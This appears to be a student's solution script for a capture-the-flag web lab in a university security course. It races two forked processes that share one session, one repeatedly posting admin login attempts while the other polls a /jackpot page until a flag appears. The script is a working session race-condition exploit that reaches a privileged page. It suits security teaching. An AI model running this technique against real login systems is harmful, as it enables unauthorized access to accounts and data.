Files
ssof_labs/pa/lab3/chall_jackpot.py
2025-11-29 14:08:07 +00:00

24 lines
500 B
Python

from grequests import Session
from os import fork
BASE = "http://mustard.stt.rnl.tecnico.ulisboa.pt:25652"
sesh = Session()
sesh.get(BASE+"/login")
pid = fork()
if pid == 0:
sesh.post(BASE+"/login", data={"username": "didas", "password": "didas"})
while True:
resp = sesh.get(BASE+"/jackpot")
if b"SSof{" in resp.content:
print(resp.content)
exit(0)
else:
i = 0
while True:
sesh.post(BASE+"/login", data={"username": "admin", "password": "Perry the playpus"})
print(i)
i += 1